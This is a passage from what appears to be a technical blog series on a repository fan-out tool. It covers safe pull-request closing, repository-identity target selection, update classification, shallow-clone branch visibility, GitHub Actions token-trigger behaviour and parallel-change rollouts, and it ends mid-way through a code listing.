Namespace your bot’s branches before you automate closing anything. A prefix match is only safe when the prefix is yours alone. Symptom: a bot closing work someone was in the middle of. Escape: one reserved prefix, matched with startswith, never a substring or a title match.

Closing without a comment reads as a malfunction. Someone who was mid-review on that pull request gets a closed tab and no reason. Escape: --comment with the actual reason, naming the release that superseded it.

--delete-branch and deterministic branch names interact. If you close without deleting the remote branch and later regenerate the same branch name, gh pr create fails because a pull request for that head already exists. Escape: delete on close, which is what --delete-branch is for, and keep the version in the branch name so reuse is rare anyway.

Shipping a fix mid-rollout is how the pile got built. The stacking here came from releasing again while consumers were still adopting the previous release. This fix was deliberately held back until every consumer was verified current with no open pull requests, which is the same discipline that would have prevented the problem. Symptom: each release adds pull requests faster than the consumers merge them. Escape: treat “every consumer is current” as a release precondition for a tool whose releases fan out.

Sources

gh pr list — --state, --base, --json and --jq.
gh pr close — --comment and --delete-branch.
Managing pull requests for dependency updates — Dependabot rebasing its open pull requests, and abandoning them after 30 days.
Dependabot options reference — the open pull request limit and what it blocks.

Changelog

fix(press): propagate retires its own superseded PRs (0.7.2) (#137) (9876899)

Every repository has a README, so every README target matched

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

0.7.0 added a generated version line to each consumer repository’s README, so that a reader landing on the repo can see which release of the shared brand it is on without opening a CI config. Adding those targets exposed a flaw in how targets were selected: selection was by file presence alone, and README.md exists in every repository ever created. The new targets would have selected inside any checkout, including the generator’s own, and been compared against the wrong file.

That is a small bug with a general shape. Any tool that owns files inside repositories it does not control needs an answer to “which of my targets apply here”, and the cheap answer works right up until a target’s path is not distinctive. This guide builds both versions and shows the difference in one command.

Setup: a registry of files you own elsewhere

The registry is a flat list. Each entry names the repository it belongs to, the path inside that repository, and (in a real tool) the emitter that produces the content:

[
  { "id": "site-readme",   "repo": "example.io", "path": "README.md" },
  { "id": "budget-readme", "repo": "budget",     "path": "README.md" },
  { "id": "site-theme",    "repo": "example.io", "path": "src/theme.css" }
]

The tool runs inside one checkout at a time and needs the subset of entries that this checkout is responsible for. The obvious implementation asks the filesystem:

export const targetPath = (target, root) =>
  isAbsolute(target.path) ? target.path : join(root, target.path);

// v1: whatever is on disk is mine.
export const selectByPresence = (targets, root) =>
  targets.filter((t) => existsSync(targetPath(t, root)));

This is fine while every path is distinctive: src/theme.css, astro.config.mjs, pyproject.toml. It stops being fine the first time you add README.md.

Ask the checkout what it is

A git checkout already knows its own name; it is in the remote URL. Read it with git config --get remote.origin.url and reduce it to the repository name:

// select.mjs — which targets this checkout is responsible for.
import { execFileSync } from 'node:child_process';
import { existsSync } from 'node:fs';
import { isAbsolute, join } from 'node:path';

export const targetPath = (target, root) =>
  isAbsolute(target.path) ? target.path : join(root, target.path);

/**
 * The repository a checkout actually is, read from its origin remote.
 *
 * Returns null when there is no remote (a temp dir, an unpacked tarball), in
 * which case callers fall back to file presence.
 */
export function repoIdentity(root) {
  try {
    const url = execFileSync(
      'git',
      ['-C', root, 'config', '--get', 'remote.origin.url'],
      { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] },
    ).trim();
    const m = /([^/:]+?)(?:\.git)?$/.exec(url);
    return m ? m[1] : null;
  } catch {
    return null;
  }
}

export function selectTargets(targets, root) {
  const identity = repoIdentity(root);
  return targets.filter((t) => {
    if (!existsSync(targetPath(t, root))) return false;
    // When the checkout names itself, trust that over a path that happens to
    // exist, otherwise every repo's README matches every README target.
    if (identity) return identity === t.repo;
    return true;
  });
}

Three decisions in there are worth stating.

execFileSync, not exec. Node’s documentation is blunt about the difference: execFile “does not spawn a shell by default”, while for exec it warns “Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution” (child_process). root here is a path from config, which is exactly the kind of value you do not want a shell to interpret.

The regex handles both URL shapes GitHub documents, “An HTTPS URL like https://github.com/user/repo.git” and “An SSH URL, like git@github.com:user/repo.git” (about remote repositories), by taking the last segment after either a slash or a colon and dropping an optional .git.

The catch is required, not defensive padding. Git’s config documentation states that git config --get “Returns error code 1 if the key is not present”, and execFileSync turns a non-zero exit into a thrown error (git-config). A directory with no remote is a normal situation, not an exception.

Use it, then verify it

A driver that prints both answers, so the difference is visible rather than argued:

// run.mjs — print what presence would select, and what identity selects.
import { readFileSync, existsSync } from 'node:fs';
import { selectTargets, repoIdentity, targetPath } from './select.mjs';

const targets = JSON.parse(readFileSync(new URL('./targets.json', import.meta.url), 'utf8'));
const root = process.argv[2];

console.log(`checkout ${root}`);
console.log(`  identity        : ${repoIdentity(root) ?? '(no remote)'}`);
console.log(`  present on disk : ${targets.filter((t) => existsSync(targetPath(t, root))).map((t) => t.id).join(', ') || '(none)'}`);
console.log(`  selected        : ${selectTargets(targets, root).map((t) => t.id).join(', ') || '(none)'}`);

Build three checkouts: two real repositories with remotes, and one directory that is nobody:

mkdir -p repos/example.io repos/budget repos/nowhere
for r in example.io budget; do
  (cd "repos/$r" && git init -q \
    && git remote add origin "git@github.com:demo/$r.git" \
    && echo "# $r" > README.md)
done
mkdir -p repos/example.io/src && echo ":root{}" > repos/example.io/src/theme.css
echo "# scratch" > repos/nowhere/README.md

for r in example.io budget nowhere; do node run.mjs "repos/$r"; done

checkout repos/example.io
  identity        : example.io
  present on disk : site-readme, budget-readme, site-theme
  selected        : site-readme, site-theme
checkout repos/budget
  identity        : budget
  present on disk : site-readme, budget-readme
  selected        : budget-readme
checkout repos/nowhere
  identity        : (no remote)
  present on disk : site-readme, budget-readme
  selected        : site-readme, budget-readme

The present on disk line is the bug, printed. Inside budget, presence claims the other site’s README target belongs there, and a generator acting on that would overwrite budget’s README with the other repository’s content, with a perfectly clean exit code. The selected line is the fix. And nowhere shows the fallback: no remote, so presence decides, which keeps tests in temp directories working.

Gotchas

A selection bug is silent by construction. Selecting the wrong target does not throw; it produces a confident write or a confident “all clean” against a file that was never yours. Symptom: none, until content appears in a repository that never asked for it. Escape: make the tool print what it selected on every run, and diff that list when the registry grows.

A resolver that matches nothing reports success. The opposite failure is worse and more common: tighten the matching, select zero targets, and every check passes over an empty set. Symptom: a green run that takes no time and mentions no files. Escape: assert a floor. If the registry declares nine targets that should resolve in this checkout and the resolver returns two, fail rather than pass.

Repository name alone is not a globally unique identity. A fork, a rename, or two organizations with the same repo name will all satisfy a last-segment match. Symptom: correct behaviour everywhere you tested, wrong behaviour in someone’s fork. Escape: match owner/name when you have it, and keep the bare name only as the fallback.

Shelling out with string interpolation is how a path becomes a command. exec("git -C " + root + " config ...") works fine until a path contains a space or a semicolon. Escape: execFileSync with an argument array, and stdio: ['ignore','pipe','ignore'] so a missing key does not print noise to the user’s terminal.

Do not freeze the release version into a golden file. This release also moved the generator’s golden fixtures to a fixed placeholder version, because a golden that contains the real release number is rewritten by every release, and a drift detector that changes on every release is noise. Symptom: your “nothing changed” test changes on every version bump. Escape: pin the shape with a constant placeholder, and test version substitution separately.

Sources

Node.js child_process — execFile does not spawn a shell, and the shell injection warning that applies to exec.
git-config — remote.<name>.url, and --get returning exit code 1 when the key is absent.
About remote repositories — the HTTPS and SSH remote URL forms the parser has to handle.

Changelog

feat(press): README version line + propagate to dev AND main (0.7.0) (#133) (45bf2d9)

One dependency showing three version numbers, all of them correct

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

0.6.0 changed one rule in a fan-out tool: it used to open a pull request only when the generated content actually differed, and now it opens one whenever anything differs, including the version alone. Before that change, a single consumer repository could show three version numbers at once. Its CI pin said 0.2.0, the marker inside its generated block said 0.1.0, and the current release was 0.5.1. All three were correct under the old rule, and there was no way to tell a healthy consumer from a neglected one without knowing that rule by heart.

If you generate code into repositories you do not own, you are running a small package manager, and you inherit its hardest problem: making adoption state legible. This guide builds the classifier that makes it legible, in about sixty lines of Node, and it runs offline.

Setup: why there are three numbers at all

A generated block usually carries a receipt. The marker that opens it records which release of the generator wrote the bytes below, so anyone reading the file knows what produced it:

// region.mjs — a generated block that records the version that wrote it.
const START = (name, version) =>
  `/* >>> brand:${name} v${version} GENERATED, do not edit */`;
const END = (name) => `/* <<< brand:${name} */`;

export function renderRegion(name, version, body) {
  return [START(name, version), body, END(name)].join('\n');
}

/** Find the region and read back both its body and the version that wrote it. */
export function findRegion(file, name) {
  const re = new RegExp(
    `/\\* >>> brand:${name} v([0-9.]+) [^*]*\\*/\\n([\\s\\S]*?)\\n/\\* <<< brand:${name} \\*/`,
  );
  const m = re.exec(file);
  return m ? { version: m[1], body: m[2] } : null;
}

That receipt is the second number. The first is whatever pin the consumer’s CI uses to install the generator. The third is the release that actually exists. Under a rule of “only act when the emitted values differ”, those three drift apart the moment you ship a release that changes no values, which is most releases.

The failure is not that a repo is behind. The failure is that nobody can tell whether it is behind, because “receipt says 0.1.0” is consistent with both perfectly current and eighteen months stale.

Classify the update instead of suppressing it

There are two genuinely different kinds of update, and the mistake is collapsing them into one boolean. Compute both:

// classify.mjs — decide what kind of update a consumer needs.
import { findRegion, renderRegion } from './region.mjs';

const trim = (s) => s.replace(/\s+$/, '');

/**
 * @param file    current contents of the consumer's file
 * @param name    region name
 * @param body    what today's tokens emit
 * @param version the release being propagated
 */
export function classify(file, name, body, version) {
  const found = findRegion(file, name);
  if (!found) return { status: 'missing', changed: false };

  const brandChanged = trim(found.body) !== trim(body);
  const versionChanged = found.version !== version;

  return {
    status: brandChanged ? 'brand' : versionChanged ? 'adopt' : 'current',
    brandChanged,
    versionChanged,
    changed: brandChanged || versionChanged,
    wroteBy: found.version,
    next: renderRegion(name, version, body),
  };
}

export function prTitle(result, version) {
  return result.brandChanged
    ? `brand v${version}: BRAND VALUES CHANGED`
    : `adopt brand v${version}`;
}

changed is what decides whether to open a pull request, and it is now the union of the two. brandChanged is what decides how loudly to say so. Keeping them as separate booleans on the result, rather than re-deriving them later from the status string, matters more than it looks: a status match written as /updated$/ once quietly missed the would update case in dry-run mode, so a dry run reported “nothing to do” while printing a changed region on the line above.

The title carries the classification because the title is the only part of a pull request everyone reads. Google’s SRE book makes the general version of this argument about alerting: “Every page should be actionable”, and when they are not, “employees second-guess, skim, or even ignore incoming alerts, sometimes even ignoring a ‘real’ page that’s masked by the noise” (Monitoring Distributed Systems). A bot that titles every pull request the same way has built exactly that.

Run it against a fleet

Three consumers, one release, one pass:

// demo.mjs — three consumers, one release.
import { classify, prTitle } from './classify.mjs';
import { renderRegion } from './region.mjs';

const RELEASE = '0.6.0';
const body = '--brand-accent: #f26722;';

const consumers = {
  'site':    renderRegion('tokens', '0.1.0', body),                        // old pin, same values
  'budget':  renderRegion('tokens', '0.5.1', '--brand-accent: #e05500;'),  // stale values
  'fitness': renderRegion('tokens', '0.6.0', body),                        // already current
};

for (const [name, file] of Object.entries(consumers)) {
  const r = classify(file, 'tokens', body, RELEASE);
  const action = r.changed ? `PR: ${prTitle(r, RELEASE)}` : 'no PR';
  console.log(
    `${name.padEnd(8)} receipt ${r.wroteBy.padEnd(6)} status ${r.status.padEnd(8)} ${action}`,
  );
}

node demo.mjs

site     receipt 0.1.0  status adopt    PR: adopt brand v0.6.0
budget   receipt 0.5.1  status brand    PR: brand v0.6.0: BRAND VALUES CHANGED
fitness  receipt 0.6.0  status current  no PR

That is the whole payoff. site gets a one-line diff nobody needs to think about. budget gets a shouty title and a diff a designer should look at. fitness gets nothing, because nothing moved, and a bot that opens a pull request against a fully current repository has stopped being a signal.

Verify the property that makes the whole scheme work, which is that applying the update makes the next run a no-op:

node -e "
import('./classify.mjs').then(async ({classify}) => {
  const { renderRegion } = await import('./region.mjs');
  const body = '--brand-accent: #f26722;';
  const before = renderRegion('tokens', '0.1.0', body);
  const first = classify(before, 'tokens', body, '0.6.0');
  const second = classify(first.next, 'tokens', body, '0.6.0');
  console.log('first :', first.status, first.changed);
  console.log('second:', second.status, second.changed);
});
"

first : adopt true
second: current false

If the second run is not current false, your writer and your reader disagree about the bytes, and the bot will re-open the same pull request forever.

The trade you are making, stated plainly

Always acting means a few pull requests per release that change one number and nothing else. That is a real cost and it is worth naming rather than pretending away. What you buy is that every consumer’s state is readable at a glance, without knowing any rules, and there is prior art for valuing that: Renovate ships a Dependency Dashboard for the same reason, on the grounds that with updates that need manual approval “you’ll probably forget to check often enough, and out of sight means out of mind!”

The version-only pull request is the cheapest possible form of that dashboard. It is a one-line diff, it is titled as routine, and it exists so the absence of one means something.

Gotchas

Suppressing no-op updates is how the numbers diverge in the first place. “A pin bump alone changes no shipped artifact, so it is not worth a pull request” is a reasonable-sounding rule and it is what produced 0.2.0, 0.1.0 and 0.5.1 in one repository. Symptom: someone asks why a repo is on an old version and the honest answer takes three paragraphs. Escape: keep pin, receipt and release equal, and let the diff size, not the pull request count, reflect how much changed.

Re-deriving state from a display string will bite you. Carrying changed as a boolean and deriving the status from it is safe; parsing the status back out to decide what to do is not, because the status strings grow dry-run variants. Symptom: a dry run that prints a changed region and then reports nothing to do. Escape: booleans decide, strings display.

Watch the open pull request limit if your consumers also run a dependency bot. Dependabot’s options reference documents that with the default limit, “If five pull requests with version updates are open, no further pull requests are raised until some of those open requests are merged or closed”. Your no-op pull requests occupy real slots in a repository’s attention budget, and possibly in another bot’s. Escape: make version-only updates trivially mergeable, and close your own superseded ones.

missing is not changed. A consumer whose region has been deleted needs a human decision, not a silent re-creation, so it is reported separately and does not count as an update. Symptom: a bot that helpfully restores a block someone deliberately removed. Escape: keep missing its own status and surface it in the run summary.

Trailing whitespace will make every repo look changed. Comparing generated bodies without normalizing the trailing newline produces a permanent, universal false positive, and it is invisible in a diff view. Escape: trim on both sides of the comparison, as trim() does above, and add a test that runs the classifier twice.

Sources

Google SRE Book: Monitoring Distributed Systems — why an always-loud signal stops being read.
Renovate: Dependency Dashboard — visibility of pending updates as an explicit product goal.
Dependabot options reference — the default open pull request limit and what happens when it is reached.

Changelog

feat(press): one version per consumer, not three (0.6.0) (#129) (c1543cd)

Two repos looked stale because the clone only had one branch

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

0.5.1 fixed how a fan-out job reads other repositories. It cloned each consumer with --depth=1 and inspected whatever the default branch had, then reported two of them as missing a generated block they demonstrably contained. Nothing was wrong with those repos. The block had been merged to their integration branch, and the clone could not see that branch existed.

Any job that reaches into repositories it does not own runs into the same two decisions: how much history to fetch, and which branch to read and target. This guide builds the fan-out loop, reproduces the wrong answer in a scratch directory with real output, and fixes both decisions.

Setup: what a fan-out needs from a clone

The pattern is a job that, for each downstream repository, clones it, regenerates something inside it, and opens a pull request if the result differs. You need three things from the clone: the current content of the file you own, the branch a pull request should target, and enough history to push a branch.

The naive version gets all three wrong in one line.

#!/usr/bin/env bash
set -euo pipefail

# The version that looks efficient and reads the wrong thing.
for repo in "$@"; do
  work=$(mktemp -d)
  gh repo clone "$repo" "$work" -- --depth=1 --quiet
  if [ -f "$work/brand.txt" ]; then
    echo "$repo: $(cat "$work/brand.txt")"
  else
    echo "$repo: missing"
  fi
done

Everything after the -- is handed straight to git clone by gh repo clone, so --depth=1 here is git’s flag, with git’s semantics. It is there because history is not needed and shallow is faster. That reasoning is fine. The side effect is not.

The clone that hides half the repository

Git’s clone documentation spells it out under --depth: “Create a shallow clone with a history truncated to the specified number of commits. Implies --single-branch unless --no-single-branch is given”. And --single-branch means “Clone only the history leading to the tip of a single branch, either specified by the --branch option or the primary branch remote’s HEAD points at.”

So a shallow clone gives you exactly one branch, and it is the default branch. Build the situation in a scratch directory and look at it directly. This runs offline in about a second:

mkdir demo && cd demo
git init -q --bare -b main origin.git
git clone -q origin.git seed && cd seed
git config user.email d@e.f && git config user.name demo
echo "orange" > brand.txt
git add brand.txt && git commit -qm "brand on main" && git push -q origin main
git checkout -qb dev
echo "orange-refreshed" > brand.txt
git commit -qam "brand migration lands on dev" && git push -q origin dev
cd ..

echo "=== shallow clone ==="
git clone -q --depth=1 "file://$PWD/origin.git" shallow
git -C shallow branch -r
echo "origin/dev present? $(git -C shallow rev-parse --verify --quiet origin/dev >/dev/null && echo yes || echo no)"

echo "=== full clone ==="
git clone -q "file://$PWD/origin.git" full
git -C full branch -r
echo "origin/dev present? $(git -C full rev-parse --verify --quiet origin/dev >/dev/null && echo yes || echo no)"

echo "=== what each clone reads ==="
echo "shallow: $(cat shallow/brand.txt)"
echo "full(dev): $(git -C full show origin/dev:brand.txt)"

Running that prints:

=== shallow clone ===
  origin/HEAD -> origin/main
  origin/main
origin/dev present? no
=== full clone ===
  origin/HEAD -> origin/main
  origin/dev
  origin/main
origin/dev present? yes
=== what each clone reads ===
shallow: orange
full(dev): orange-refreshed

The shallow clone is not broken and did not warn. It answered a narrower question than the one being asked, and the migration sitting on dev was invisible to it. That is what produced a report of “missing” for repositories where the work was merged and waiting to promote.

Choose the base branch on purpose

The second decision is which branch the pull request targets. GitHub’s own definition is that “The default branch is the base branch for pull requests and code commits” (changing the default branch), and that default is what gh and the web UI will pick for you. If the repositories you are automating run feature → dev → main, a bot opening a pull request straight into main is asking them to violate their own flow, and it will sit there.

Resolve the base explicitly instead. Ask the checkout whether the integration branch exists, and fall back to whatever the repository says its default is:

# resolve_base <checkout> <owner/repo>
# The branch a fan-out PR should target: the integration branch when the remote
# has one, the repository's own default branch otherwise.
resolve_base() {
  local work="$1" repo="$2"
  if git -C "$work" rev-parse --verify --quiet origin/dev >/dev/null; then
    echo dev
  else
    gh repo view "$repo" --json defaultBranchRef --jq .defaultBranchRef.name
  fi
}

rev-parse --verify --quiet is the right primitive here rather than grepping git branch -r. The rev-parse docs define --verify as verifying “that exactly one parameter is provided and that it can be turned into a raw 20-byte SHA-1”, and --quiet as suppressing the error message so it “exits with non-zero status silently”. You get a clean boolean with no output parsing.

Wire it into the fan-out loop

Full clone, resolved base, explicit checkout, and the base carried through to the pull request:

#!/usr/bin/env bash
set -euo pipefail

for repo in "$@"; do
  work=$(mktemp -d)
  gh repo clone "$repo" "$work" -- --quiet          # full clone: every branch
  base=$(resolve_base "$work" "$repo")
  git -C "$work" checkout -q "$base"
  echo "$repo: base branch $base"

  # ... regenerate the file you own inside "$work" ...
  git -C "$work" diff --quiet && { echo "$repo: current"; continue; }

  branch="fanout/$(date +%Y%m%d)-$base"
  git -C "$work" config user.name "fanout[bot]"
  git -C "$work" config user.email "noreply@github.com"
  git -C "$work" checkout -q -b "$branch"
  git -C "$work" commit -qam "chore: refresh generated block"
  git -C "$work" push -q origin "$branch"
  gh pr create --repo "$repo" --base "$base" --head "$branch" \
    --title "chore: refresh generated block" --body "Automated fan-out."
done

Two details earn their place. The base branch is echoed on every iteration, so a run’s log answers “which branch did you read?” without a re-run. And the branch name has the base suffixed into it, because the same fan-out may need to land on more than one long-lived branch, and two pushes of the same branch name would collide.

Use it, then verify it

Save resolve_base as resolve.sh, source it, and point it at both clones from the demo. gh is stubbed so the check stays offline:

. ./resolve.sh
gh() { echo "main"; }   # stub: no network in this check
echo "full clone    -> $(resolve_base full demo/demo)"
echo "shallow clone -> $(resolve_base shallow demo/demo)"

That prints:

full clone    -> dev
shallow clone -> main

The shallow clone does not report an error, and it does not report dev. It reports the wrong branch confidently, which is the behaviour to design against. Check the content the resolved base actually gives you:

b=$(resolve_base full demo/demo)
git -C full checkout -q "$b"
cat full/brand.txt

orange-refreshed

Gotchas

--depth=1 silently narrows what you can see. Shallow implies single-branch, so every other branch is simply absent from the clone. Symptom: a script reports a file or a branch as missing in a repository where it plainly exists. Escape: drop --depth when you need to look around, or keep it and be specific with --depth=1 --branch "$base" once you already know the branch, or pass --no-single-branch to keep the shallow fetch and get the refs.

--depth is ignored entirely for local path clones. Reproducing this locally, git prints warning: --depth is ignored in local clones; use file:// instead and hands you a full clone, so the bug you are trying to reproduce disappears. Symptom: your minimal repro cannot reproduce it. Escape: use a file:// URL, as the demo above does.

The default branch can legitimately lag, so reading it reports something true and misleading. A repository mid-promotion has the merged work on its integration branch and not yet on the default. Symptom: a report that says “missing” or “out of date” for repos whose maintainers already merged the change. Escape: resolve the base explicitly, and log it on every iteration.

A bot pull request into the wrong base is worse than no pull request. It cannot be merged without breaking the receiving repo’s own branch protection, so it sits open and gets ignored, and the next release stacks another one behind it. Escape: target the branch the humans target.

Not every repository has your integration branch. The fallback path is load-bearing, not decoration; without it the resolver returns an empty string and git checkout "" fails in a way that reads like a permissions problem. Escape: fall back to gh repo view --json defaultBranchRef, and test the fallback by pointing the resolver at a repo that has no dev.

This class of bug does not surface from reading the code. The clone flag and the base-branch choice are each defensible in isolation, and the failure only appears against a real repository whose branches disagree. It surfaced here from dispatching the job by hand and reading its output, before a scheduled run made it expensive to be wrong.

Sources

git-clone documentation — --depth implies --single-branch, and what single-branch actually fetches.
git-rev-parse documentation — --verify and --quiet as the script-safe ref existence check.
Changing the default branch — the default branch is the base branch for pull requests.
gh repo clone — passing flags through to git clone after the -- separator.

Changelog

fix(press): propagate to the integration branch, not the default (0.5.1) (#127) (d611a4d)

Your release tag will not start the workflow waiting for it

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

0.4.1 changed one trigger. A fan-out workflow that pushes generated design tokens into consumer repositories listened on push: tags: ["press-v*"], which reads as the obvious way to react to a release. The release tag is created by another workflow in the same repository, using the built-in GITHUB_TOKEN, and GitHub does not start workflow runs for events created with that token. The trigger was syntactically perfect and had executed zero times.

That rule is worth knowing before you write any workflow that reacts to what another workflow did, because it fails silently: no error, no skipped run, no annotation. This guide builds the trap on purpose, shows the one command that proves a trigger is dead, and replaces it with a call chain that runs in the same job graph.

The loop-prevention rule you are working against

Every workflow run gets an automatic GITHUB_TOKEN for authenticating to the repository. GitHub’s documentation on triggering a workflow states it plainly: “When you use the repository’s GITHUB_TOKEN to perform tasks, events triggered by the GITHUB_TOKEN will not create a new workflow run, with the following exceptions”. The exceptions are workflow_dispatch and repository_dispatch, which always fire.

This is deliberate loop prevention. A workflow that commits, whose commit triggers itself, is a billable infinite loop, and the same docs warn to “ensure that you don’t create recursive or unintended workflow runs”. The cost is that a perfectly reasonable pipeline, tag from job A and react in workflow B, quietly does nothing.

Set up: a release workflow that creates a tag

Put this in .github/workflows/release.yml. It reads a version from a file and tags the commit. Nothing exotic: contents: write plus the default token is all a tag needs.

name: release
on:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v7
      - name: Cut the tag
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          version=$(jq -r .version package.json)
          if git ls-remote --exit-code --tags origin "v$version" >/dev/null 2>&1; then
            echo "v$version already tagged"
            exit 0
          fi
          git config user.name "release[bot]"
          git config user.email "noreply@github.com"
          git tag "v$version"
          git push origin "v$version"

The trigger that looks right and never fires

Now the downstream workflow. It is meant to run after every release: publish docs, notify a channel, push generated files into other repositories, whatever your fan-out is.

name: fan-out
on:
  push:
    tags: ["v*"]

permissions:
  contents: read

jobs:
  fan-out:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: echo "fanning out $GITHUB_REF_NAME"

Merge both, let release.yml cut a tag, and look at the Actions tab. You will see the release run. You will not see a fan-out run, and there is nothing on the page that says why.

Prove the trigger is dead, do not reason about it

The check is one command, and it is worth running against every workflow you believe is event-driven. gh run list takes a --workflow filter and, with --json, will report the event that started each run:

gh run list --workflow=fan-out.yml --limit 20 \
  --json createdAt,event,conclusion \
  --jq '.[] | [.createdAt, .event, .conclusion] | @tsv'

Two outcomes matter. Empty output means the workflow has never run at all. Output where every row says workflow_dispatch means it only ever runs when a human clicks it, which is the shape a token-blocked trigger leaves behind. On the release this was found on, that command returned exactly one row, and its event was workflow_dispatch.

Compare that against the tag actually existing:

git log -1 --format='%ci' v1.4.0
gh run list --workflow=fan-out.yml --json event --jq 'length'

A tag with a timestamp and a run count of zero is the whole diagnosis.

Chain the workflows instead of triggering one from the other

The fix is to stop relying on an event and put the second workflow in the first one’s job graph. GitHub’s reusable workflows do exactly this: a workflow whose on includes workflow_call can be invoked by another workflow’s job.

Give the downstream workflow a workflow_call trigger, and keep the manual and scheduled entry points, which were never affected:

name: fan-out

# NOTE ON THE TRIGGER. Deliberately not `push: tags: ["v*"]`. The release tag is
# created by release.yml with the repository's GITHUB_TOKEN, and GitHub does not
# start workflow runs for events created with that token, so a tag trigger here
# would look correct and never once execute.
on:
  workflow_call:
    inputs:
      dry-run:
        description: "Report what would change without pushing"
        type: boolean
        default: false
    secrets:
      FAN_OUT_TOKEN:
        description: "PAT with repo scope on the downstream repositories"
        required: false
  schedule:
    - cron: "0 13 * * 1"
  workflow_dispatch:

permissions:
  contents: read

jobs:
  fan-out:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - env:
          DRY_RUN: ${{ inputs.dry-run }}
          GH_TOKEN: ${{ secrets.FAN_OUT_TOKEN || secrets.GITHUB_TOKEN }}
        run: |
          echo "fanning out (dry-run=${DRY_RUN:-false})"

Then append this job to release.yml’s jobs: map. A reusable workflow is referenced at the job level with uses:, never from inside a step:

  fan-out:
    needs: release
    uses: ./.github/workflows/fan-out.yml
    secrets:
      FAN_OUT_TOKEN: ${{ secrets.FAN_OUT_TOKEN }}

That is the entire change. The fan-out now runs as part of the release run, because it is a job in that run rather than a reaction to an event the token was not allowed to raise.

Use it, then verify it

Push a version bump to main and watch the release run. The chained job appears inside it:

gh run list --workflow=release.yml --limit 1 \
  --json databaseId --jq '.[0].databaseId'
gh run view <id> --json jobs --jq '.jobs[].name'

You should see the release job and the called workflow’s job listed under the same run id. The distinction to internalize is that a called workflow’s jobs belong to the caller’s run, so gh run list --workflow=fan-out.yml will still show nothing new. That is expected now, and it is why the “is this workflow alive?” check has to look at the caller once you chain.

For the dry-run path, dispatch it by hand:

gh workflow run fan-out.yml -f dry-run=true
gh run watch

Gotchas

Manual dispatch always works, so hand-testing hides the bug. workflow_dispatch is one of the documented exceptions to the token rule, which means the exact way you would sanity-check a new workflow is the one path that cannot reproduce the failure. Symptom: the workflow runs perfectly every time you click it, and never once on its own. Escape: after any release, check the run list and read the event column, not the conclusion column.

A scheduled fallback turns “dead” into “late”, which is harder to see. This workflow also had a weekly schedule, so the fan-out did happen, up to seven days after each release. Nothing was ever missing, so nothing looked broken; releases were just landing downstream a week later. Symptom: the automation appears to work but always at the wrong time. Escape: if a workflow has both an event trigger and a schedule, confirm the event trigger separately, because the schedule will paper over it.

Secrets do not cross into a called workflow on their own. A workflow_call workflow sees only the secrets the caller passes explicitly or with secrets: inherit, and the docs note that environment secrets cannot be passed at all, because on.workflow_call has no environment keyword. Symptom: the chained job runs but authenticates as nobody. Escape: declare each secret under on.workflow_call.secrets and pass it in the calling job.

Permissions only shrink down a call chain. GitHub allows up to ten levels of nesting and states permissions “can only be maintained or reduced, not elevated” through it. Symptom: a called workflow that works standalone fails to write when chained. Escape: grant the permission in the caller job, not only in the reusable workflow.

Leave a comment where the dead trigger was. push: tags is the first thing anyone reaches for, so a bare deletion invites its return in three months. The replacement here carries a comment naming the rule and the evidence, which costs six lines and survives the next person’s reasonable instinct.

If you genuinely need the downstream event, you need a different identity. Chaining works when you control both workflows. When you need a real event, for example a bot-authored pull request that must run the normal PR checks, the token rule still applies, and the create-pull-request action’s guidance is the clearest catalogue of the options: a personal access token, a GitHub App token, an SSH deploy key which only triggers on: push, or a machine-account fork. Each trades security surface for the ability to raise events, and none of them is free.

Sources

Trigger a workflow — the rule that events created with GITHUB_TOKEN do not create new workflow runs, and its exceptions.
Reuse workflows — workflow_call, calling at job level, secret passing, nesting depth and the permissions rule.
create-pull-request: concepts and guidelines — the catalogue of alternative identities when you need the downstream event to fire.
gh run list — the --workflow and --json flags used for the liveness check.

Changelog

fix(press): the propagate workflow could never fire on a release (0.4.1) (#123) (a2282c6)

Declaring the requirement broke everyone who adopted it

Fri, 31 Jul 2026 00:00:00 GMT

Shipped

press 0.7.1 fixed three problems that turned out to be one problem. The headline case: 0.7.0 declared a new README target for every external consumer without creating those regions in the consumers, so a repository’s check began failing missing the instant its pinned version reached 0.7.0. Both pull requests the fan-out had opened against one consumer went red on arrival. The fix was to make propagation seed a region the consumer doesn’t have yet, in the same pull request that raises the pin, on the grounds that the two are one change rather than two.

The second was the same shape one level down. The check compared the generated values but not the version recorded in the region marker, so in-repo regions sat at v0.1.0 through six releases behind a green tick. A version that nothing verifies is decoration.

This guide builds the rollout that can’t break a consumer on arrival, plus the constraint that stops it from over-correcting into a tool that silently recreates things people deleted on purpose.

Why this isn’t just “add it to the changelog”

Adding a requirement to a shared config is a backward-incompatible change to everyone who consumes it, and semver’s rule is unambiguous about the usual remedy: “Major version X (X.y.z | X > 0) MUST be incremented if any backward incompatible changes are introduced to the public API.” That’s the right rule and it doesn’t help here, because a major bump communicates the break without preventing it. Consumers still get a red build; they just can’t say they weren’t warned.

The pattern that actually prevents the break is Parallel Change, “a pattern to implement backward-incompatible changes to an interface in a safe manner, by breaking the change into three distinct phases: expand, migrate, and contract.” Fowler names the reason it’s hard: “Making a change to an interface that impacts all its consumers requires two thinking modes: implementing the change itself, and then updating all its usages.” Kubernetes formalizes the same instinct into calendar guarantees, where an API element “can not be removed from that version or have its behavior significantly changed” once shipped.

Both assume you can’t reach into the consumer. When you can, which is true for any producer that already opens pull requests in every consumer repo, there’s a shorter path: put the migrate step inside the expand step. The pull request that raises the version also supplies whatever the new version requires, so a consumer never exists in the broken intermediate state at all.

Everything below is Node’s standard library.

The region helpers

Save this as region.mjs. It’s the minimum needed to find, replace, and create a marked block:

const SYNTAX = {
  md: { open: '<!-- ', close: ' -->' },
  css: { open: '/* ', close: ' */' },
};

export function markers(target, version) {
  const s = SYNTAX[target.syntax];
  return {
    start: `${s.open}>>> brand:${target.id} v${version}${s.close}`,
    end: `${s.open}<<< brand:${target.id}${s.close}`,
  };
}

export function findRegion(text, target) {
  const lines = text.split('\n');
